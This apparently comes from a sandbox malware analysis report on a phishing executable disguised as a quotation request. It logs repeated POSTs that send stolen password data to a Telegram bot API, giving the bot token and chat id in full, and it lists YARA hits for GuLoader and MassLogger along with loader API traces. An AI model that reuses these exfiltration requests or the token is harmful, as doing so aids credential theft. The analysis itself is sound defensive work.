2024-12-03 14:23:47 UTC	275	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd15b70a124c6d Host: api.telegram.org Content-Length: 1090
2024-12-03 14:23:47 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 35 62 37 30 61 31 32 34 63 36 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd15b70a124c6dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:48 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:48 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:48 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 39 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 38 32 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":992,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235828,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	49962	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:51 UTC	299	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd15f5efddc12b Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-03 14:23:51 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 35 66 35 65 66 64 64 63 31 32 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd15f5efddc12bContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:52 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:51 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:52 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 39 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 38 33 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":993,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235831,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	49968	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:54 UTC	299	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd16309522eae9 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-03 14:23:54 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 36 33 30 39 35 32 32 65 61 65 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd16309522eae9Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:55 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:55 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:55 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 39 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 38 33 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":994,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235835,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	49978	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:23:58 UTC	299	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd168945128f1d Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-03 14:23:58 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 36 38 39 34 35 31 32 38 66 31 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd168945128f1dContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:23:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:23:59 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:23:59 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 39 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 38 33 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":995,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235839,"document":{"file_nam

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	49980	149.154.167.220	443	7616	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 14:24:04 UTC	299	OUT	POST /bot7876448059:AAFalpFHyU5R24fiMM-B_jN6tgNAqi50gGU/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.228 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd16f8012457e7 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2024-12-03 14:24:04 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 31 36 66 38 30 31 32 34 35 37 65 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd16f8012457e7Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-12-03 14:24:05 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Tue, 03 Dec 2024 14:24:05 GMT Content-Type: application/json Content-Length: 544 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-12-03 14:24:05 UTC	544	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 39 39 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 38 37 36 34 34 38 30 35 39 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 47 68 7a 74 73 74 79 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 37 33 38 32 38 30 39 30 39 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 47 68 6f 73 74 74 74 74 74 74 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 67 68 6f 6f 7a 7a 7a 7a 74 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 33 32 33 35 38 34 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d Data Ascii: {"ok":true,"result":{"message_id":996,"from":{"id":7876448059,"is_bot":true,"first_name":"Ghztsty","username":"Ghztsty_bot"},"chat":{"id":7382809095,"first_name":"Ghostttttt","username":"ghoozzzzt","type":"private"},"date":1733235845,"document":{"file_nam

Target ID:	5
Start time:	09:21:55
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"
Imagebase:	0x400000
File size:	734'480 bytes
MD5 hash:	143EDB6C5C1E1A1E06695965F2B5CB74
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000005.00000002.1644205426.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:37:25
Start date:	03/12/2024
Path:	C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"
Imagebase:	0x400000
File size:	734'480 bytes
MD5 hash:	143EDB6C5C1E1A1E06695965F2B5CB74
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MassLogger, Description: Yara detected MassLogger RAT, Source: 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000A.00000002.2556507666.0000000034C9B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	20.1%
Dynamic/Decrypted Code Coverage:	15.2%
Signature Coverage:	18.9%
Total number of Nodes:	1510
Total number of Limit Nodes:	45

Executed Functions

Function 0040335A Relevance: 75.6, APIs: 27, Strings: 16, Instructions: 335
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 00403379
SetErrorMode.KERNELBASE(00008001), ref: 00403384
OleInitialize.OLE32(00000000), ref: 0040338B

Part of subcall function 00406254: GetModuleHandleA.KERNEL32(?,?,00000020,0040339D,00000008), ref: 00406266
Part of subcall function 00406254: LoadLibraryA.KERNELBASE(?,?,00000020,0040339D,00000008), ref: 00406271
Part of subcall function 00406254: GetProcAddress.KERNEL32(00000000,?), ref: 00406282

SHGetFileInfoW.SHELL32(00420690,00000000,?,000002B4,00000000), ref: 004033B3

Part of subcall function 00405EEA: lstrcpynW.KERNEL32(?,?,00000400,004033C8,004281E0,NSIS Error), ref: 00405EF7

GetCommandLineW.KERNEL32(004281E0,NSIS Error), ref: 004033C8
GetModuleHandleW.KERNEL32(00000000,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe",00000000), ref: 004033DB
CharNextW.USER32(00000000,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe",00000020), ref: 00403402
GetTempPathW.KERNEL32(00000400,C:\Users\user~1\AppData\Local\Temp\,00000000,00000020), ref: 0040350B
GetWindowsDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,000003FB), ref: 0040351C
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,\Temp), ref: 00403528
GetTempPathW.KERNEL32(000003FC,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,\Temp), ref: 0040353C
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,Low), ref: 00403544
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user~1\AppData\Local\Temp\,C:\Users\user~1\AppData\Local\Temp\,Low), ref: 00403555
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user~1\AppData\Local\Temp\), ref: 0040355D
DeleteFileW.KERNELBASE(1033), ref: 00403571
OleUninitialize.OLE32(?), ref: 00403621
ExitProcess.KERNEL32 ref: 00403641
lstrcatW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe",00000000,?), ref: 0040364D
lstrcmpiW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,C:\Users\user\Desktop,C:\Users\user~1\AppData\Local\Temp\,~nsu.tmp,"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe",00000000,?), ref: 00403659
CreateDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\,00000000), ref: 00403665
SetCurrentDirectoryW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\), ref: 0040366C
DeleteFileW.KERNEL32(0041FE90,0041FE90,?,0042A000,?), ref: 004036C6
CopyFileW.KERNEL32(C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe,0041FE90,00000001), ref: 004036DA
CloseHandle.KERNEL32(00000000,0041FE90,0041FE90,?,0041FE90,00000000), ref: 00403707
GetCurrentProcess.KERNEL32(00000028,00000004,00000005,00000004,00000003), ref: 0040375D
ExitWindowsEx.USER32(00000002,00000000), ref: 00403799
ExitProcess.KERNEL32 ref: 004037BC

Strings

Error writing temporary file. Make sure your temp folder is valid., xrefs: 0040336D
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 004034F0, 004035F3, 00403672, 0040367C
Error launching installer, xrefs: 004035D8
NSIS Error, xrefs: 004033B9
~nsu.tmp, xrefs: 00403647
Low, xrefs: 0040353E
C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet, xrefs: 004035FE
C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe, xrefs: 004036D5
TMP, xrefs: 00403558
1033, xrefs: 0040356C
SeShutdownPrivilege, xrefs: 0040376F
TEMP, xrefs: 00403550
\Temp, xrefs: 00403522
C:\Users\user~1\AppData\Local\Temp\, xrefs: 00403500, 00403505, 0040351B, 00403527, 00403536, 00403543, 0040354F, 00403557, 0040364C, 00403658, 00403664, 0040366B, 0040371C
"C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe", xrefs: 004033CE, 004033D4, 00403595
C:\Users\user\Desktop, xrefs: 00403652, 00403657, 0040367B

Memory Dump Source

Source File: 00000005.00000002.1640186672.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.1640172757.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640203031.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000426000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000042C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.0000000000434000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640217648.000000000045D000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000045F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000046C000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.1640279447.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_REQUEST FOR QUOATION AND PRICES.jbxd

Similarity

API ID: File$DirectoryExitHandleProcesslstrcat$CurrentDeleteEnvironmentModulePathTempVariableWindows$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextProcUninitializelstrcmpilstrcpyn
String ID: "C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe"$1033$C:\Users\user~1\AppData\Local\Temp\$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet$C:\Users\user\Desktop$C:\Users\user\Desktop\REQUEST FOR QUOATION AND PRICES.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$\Temp$~nsu.tmp
API String ID: 4107622049-1632176514
Opcode ID: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
Instruction ID: adac61535fb2ab45c93a94ea6b46826cba801cc8f349b6914fd9ce0ca4797ca8
Opcode Fuzzy Hash: 19452a82f84b89d672e287bbd9b4a7210e15b48e73439f139737dd6fa92c6ca7
Instruction Fuzzy Hash: 72B1C170904211AAD720BF619D49A3B3EACEB4570AF40453FF542BA2E2D77C9941CB7E

Function 00404B10 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481
windowmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B28
GetDlgItem.USER32(?,00000408), ref: 00404B33
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B7D
LoadBitmapW.USER32(0000006E), ref: 00404B90
SetWindowLongW.USER32(?,000000FC,00405108), ref: 00404BA9
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BBD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BCF
SendMessageW.USER32(?,00001109,00000002), ref: 00404BE5
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BF1
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404C03
DeleteObject.GDI32(00000000), ref: 00404C06
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C31
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C3D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CD3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CFE
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D12
GetWindowLongW.USER32(?,000000F0), ref: 00404D41
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D4F
ShowWindow.USER32(?,00000005), ref: 00404D60
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E5D
